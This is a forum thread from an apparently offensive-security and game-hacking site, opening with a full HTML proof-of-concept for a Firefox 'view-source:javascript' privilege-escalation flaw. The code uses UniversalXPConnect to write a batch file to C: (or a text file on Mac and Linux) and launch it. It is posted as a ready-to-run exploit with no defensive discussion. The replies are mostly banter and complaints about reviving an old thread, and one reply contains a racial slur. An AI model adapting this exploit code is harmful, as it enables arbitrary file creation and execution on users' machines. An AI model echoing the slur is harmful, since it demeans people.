Skip to content
MPGHThe Dark Arts
/
RegisterLog in
Forum
Community
What's NewLatest posts across the boardTrendingHottest threads right nowSubscribedThreads you follow
Discussion
GeneralIntroductionsEntertainmentDebate FortFlaming & Rage
Board
News & AnnouncementsMPGH TimesSuggestions & HelpGiveaways
More Sections
Art & Graphic DesignProgrammingHackingCryptocurrency
Hacks & Cheats
Games
ValorantCS2 / CS:GOCall of Duty / WarzoneFortniteApex LegendsEscape From Tarkov
+14 moreLeague of LegendsGTA VMinecraftRustROTMGBattlefieldTroveBattleOnCombat ArmsCrossFireBlackshotRuneScapeDayZDead by Daylight
Resources
Game Hacking TutorialsReverse EngineeringGeneral Game HackingAnti-CheatConsole Game Hacking
Tools
Game Hacking ToolsTrainers & CheatsHack/Release NewsNew
Submit a release →Share your cheat, tool, or config with the community.
AINEW
AI Tools
General & DiscussionPrompt EngineeringLLM JailbreaksHotAI Agents & AutomationLocal / Open Models
AI × Gaming
AI Aimbots & VisionML Anti-CheatGame Bots & Automation
Create
AI Coding / Vibe CodingAI Art & MediaAI Voice & TTS
The AI frontier →Where game hacking meets modern machine learning. Jump in.
Marketplace
Buy & Sell
SellingBuyingTradingUser Services
Trust & Safety
Middleman LoungeMarketplace TalkVouch Copy Profiles
Money
Cryptocurrency TalkCurrency ExchangeWork & Job Offers
Start selling →List accounts, services, and goods. Use the middleman to trade safe.
MPGH The Dark Arts

A community for offensive security research, reverse engineering, and AI.

Community

ForumMarketplaceSearch

Account

RegisterLog in

Legal

Privacy PolicyForum RulesHelp & FAQ
© 2026 MPGH · All rights reserved.Built by the community, for the community. For educational purposes onlyContent is shared for security research and education — we don't condone illegal use. You're responsible for complying with applicable laws. Use at your own risk.
Home › Forum › Hacking › Exploits › Mozilla Firefox view-source:javascript url Code Execution Exploit:

CoolMozilla Firefox view-source:javascript url Code Execution Exploit:

Posts 1–13 of 13 · Page 1 of 1
RO
RoB07
Mozilla Firefox view-source:javascript url Code Execution Exploit:
[PHP]<html>
<head>
<title>Firelinking 2 - Proof-of-Concept by mikx</title>

<-- This PoC is cross platform : On Windows this example creates the file -->
<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->
<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->
<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->
<-- run twice in some cases (this will create an additional booom-1.txt). -->

<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtm l').innerHTML +=
document.getElementById('linkhtml_"+os+"').value", 300);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>
<br><br>
<div style="width:600px">
<div id="outhtml" style="display:none"></div>

<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>

<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('
java script:netscape.security.PrivilegeManager.enablePr ivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.
nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\ ');file.createUnique(Components.interfaces.
nsIFile.NORMAL_FILE_TYPE,420);outputStream=Compone nts.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n
PAUSE\\n:END\';outputStream.write(output,output.le ngth);outputStream.close();file.launch();','','')" >
</textarea>

<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('java script:
netscape.security.PrivilegeManager.enablePrivilege (\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile );
file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfac es.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.clas ses[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','',' ')">
</textarea>

<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="view-source:java script:delayedOpenWindow('java script:
netscape.security.PrivilegeManager.enablePrivilege (\'UniversalXPConnect\');file=Components.
classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile );file.
initWithPath(\'~/booom.txt\');file.createUnique(Components.interfac es.nsIFile.
NORMAL_FILE_TYPE,420);outputStream=Components.clas ses[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutpu tStream);
outputStream.init(file,0x04|0x08|0x20,420,0);outpu t=\'booom!\';outputStream.write
(output,output.length);outputStream.close();','',' ')">
</textarea>
<br><br>
<a href="#" onclick="runDemo();runDemo();">Run exploit</a>
</div>
</body>
</html>[/PHP]
#1 · 18y ago
MI
milanho
what is it? what exploit?
#2 · 18y ago
Alen
Alen
Check the code, so far all that I know is that it bypasses security and makes a file lol

No idea what's in the file since I ain't gonna check, but if you want to know, go through the code
#3 · 18y ago
RA
rambone11
quote "Check the code, so far all that I know is that it bypasses security and makes a file lol "

omg XD

ps: mozilla ownz ie :P
#4 · 18y ago
DT
DTas2
Agreed. Mozilla pwns IE but then again I think the original version on Mozilla pwns Firefox.
#5 · 18y ago
FA
face-pirate
This will delete your c:/ drive. right?
#6 · 18y ago
~claw~
~claw~
this will be good for runescape for veiwing its source code
#7 · 18y ago
GG2GG
GG2GG
nice necro noobs
#8 · 18y ago
Luke420
[MPGH]Luke420
SMFD NEWPHAG GET LIKE ME
#9 · 16y ago
HE
headsup
yea cuz u can epicly bump 2 year old threads and get away with it!!
#10 · 16y ago
-M
-malware_suxs-
i found the rat orly
#11 · 16y ago
Luke420
[MPGH]Luke420
SDFU rat stupid chink
#12 · 16y ago
Illuminatus
Illuminatus
Holy shit...
That has got to be the biggest bump I've ever seen
#13 · 16y ago
Posts 1–13 of 13 · Page 1 of 1

Post a Reply

Similar Threads

  • Apache 1.3.x mod_mylo Remote Code Execution ExploitBy Token in Exploits
    0Last post 17y ago
  • Mozilla Firefox vs Internet Explorer vs Google ChromeBy Ariez in General
    12Last post 17y ago
  • How to make Mozilla FireFox 5x faster (vid)By kilpackj2 in General
    0Last post 17y ago
  • IE, Mozilla Firefox, Google Chrome?By Slipknotn209 in General
    7Last post 16y ago
  • How to make your pages Load faster on Mozilla Firefox ( FIREFOX ONLY)By omlan in General
    14Last post 16y ago

Tags for this Thread

#code#execution#exploit#firefox#mozilla#url#viewsourcejavascript